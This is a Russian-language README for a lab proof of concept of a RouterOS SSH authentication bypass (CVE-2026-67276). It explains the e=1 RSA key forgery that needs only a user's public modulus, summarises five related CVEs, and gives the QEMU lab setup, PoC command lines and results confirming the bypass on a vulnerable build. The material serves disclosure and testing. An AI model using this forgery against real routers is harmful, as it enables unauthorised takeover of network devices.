
CVE-2026-67276 RouterOS SSH-аутентификация с открытым ключом: обход защиты, лабораторный PoC
Только для лабораторного использования. Запускать исключительно против экземпляров RouterOS, которыми вы владеете. Атака на устройства, которыми вы не владеете, является преступлением (CFAA, ст. 267 УК Польши, аналогичные нормы).
CERT PL (05.09.2026) раскрыл шесть уязвимостей RouterOS, активно эксплуатируемых в дикой природе в составе цепочки «MikroTrick» (полный захват устройства без аутентификации при доступности SSH из интернета). Исправлено MikroTik 03.09.2026 в 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Тип | Основной дефект |
|---|---|---|
| 2026-67276 | CWE-347 (данный PoC) | Проверка соответствия ключа в SSH userauth сравнивает (тип ключа, модуль), но опускает экспоненту; проверка подписи использует предоставленный клиентом ключ ⇒ подделка при e=1 |
| 2026-86060 | CWE-88 | Внедрение аргументов через имя пользователя, начинающееся с запрещённого символа (-2 в журналах атак) ⇒ изменение policy-mask ⇒ повышение привилегий |
| 2026-67279 | CWE-841 | SSH переходит в протокол соединения после запрошенного клиентом rekey без завершённого userauth ⇒ неаутентифицированное выполнение команд в файловом пространстве имён |
| 2026-67277 | CWE-306 | Состояние bandwidth-test до аутентификации + раскрытие неинициализированного буфера + целочисленное переполнение размера ⇒ утечка памяти ядра / перезагрузка |
| 2026-67278 | CWE-347 | X.509 принимает некорректные подписи RSA/PKCS#1v1.5; доверенный якорь e=3 ⇒ подделка доверенного промежуточного сертификата |
| 2026-67281 | CWE-824 | WebFig /jsproxy устаревший неинициализированный указатель principal + обход пути ⇒ чтение файлов от root |
Уязвимые диапазоны (все шесть): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=жертва} делает sig^1 mod n == sig, поэтому
корректная «подпись» — это просто EMSA-PKCS1-v1_5(hash, authdata) — вычислимая
любым, кто знает открытый модуль жертвы. Закрытый ключ не нужен.Предварительные условия (минимум из самого раскрытия): имя целевого пользователя + открытый RSA-модуль авторизованного ключа этого пользователя.
n этого авторизованного ключа (из утёкшего/перехваченного
.pub, записей провижининга или --modulus-hex). Это единственный
почти секретный вход; закрытый ключ никогда не нужен.ForgeKey — стандартный OpenSSH не может).ssh-rsa на 6.x, rsa-sha2-256
также на 7.x).forge_67276.py — примитив: разбор открытых ключей OpenSSH, EMSA-кодировщик RFC 8017,
конструкторы поддельных блобов/подписей, эталонный верификатор RFC 8017.selftest.py — локальное доказательство, без роутера: кодировщик побайтово идентичен OpenSSL
(через инверсию реальной подписи), поддельная подпись проходит при e=1 и НЕ проходит при 65537,
полная симуляция wire-формата RFC 4252 §7. Все 15 проверок PASS.poc_67276.py — клиент paramiko, выполняющий обход (привязка алгоритма на каждое
соединение; требуется --lab-i-own-this-target).console_setup.py — разовая подготовка CHR через qemu serial telnet
(получение ключа жертвы через 10.0.2.2, импорт для admin, включение ssh).sanity_real_key.py — контроль: обычная аутентификация по открытому ключу должна сначала пройти.victim_rsa / victim.pub — сгенерированная одноразовая 2048-битная пара «жертвы»;
намеренно исключена из Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, мост хоста br0
(192.168.100.1/24) с tap-интерфейсами tap0-tap3; dnsmasq на br0 с арендами по MAC.| ВМ | Образ | IP гостя | MAC | Туннель со стороны Mac |
|---|---|---|---|---|
| chr-6.49.20 | уязвимый 6.x | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | исправленный 6.x | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | уязвимый 7.x | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | исправленный 7.x | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, ключ жертвы импортирован для admin. Принудительная смена пароля при первом входе
выполнялась через SSH (bootstrap_password.py читает диалог) или
через монитор QEMU sendkey (mon_type.py) — последовательная консоль CHR мертва по
умолчанию; консоль VGA читается только через монитор screendump.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Повторный запуск (пример, ВМ3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # базовый уровень
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Цель | реальный закрытый ключ (базовый уровень) | поддельный ключ e=1 (PoC) |
|---|---|---|
| 7.23.3 | аутентификация OK | аутентификация OK + выполнение /system resource print — CVE подтверждён |
| 7.23.4 (исправленный) | аутентификация OK | отклонено |
| 6.49.20 | аутентификация OK | отклонено (см. нюанс) |
| 6.49.21 (исправленный) | некорректный базовый уровень | не интерпретируемо; гость принял SSH-аутентификацию none |
Для пары 7.x базовый уровень с реальным ключом успешен на обеих сборках, SSH-аутентификация
none отклоняется, подделка с неверным модулем отклоняется 7.23.3,
а подделка с корректным модулем успешна только на 7.23.3. Это корректное
сравнение «уязвимый против исправленного».
Гость 6.49.21 не был подготовлен как описано во время независимой
повторной проверки: admin остался просроченным, /user ssh-keys print detail был
пуст, а SSH-запрос none без учётных данных выполнял команды. Несвязанные
реальные RSA-ключи и ключи e=1 с неверным модулем поэтому также выглядели успешными.
Переподготовьте этого гостя и убедитесь, что none и несвязанный ключ отклоняются,
прежде чем использовать его как исправленный контроль.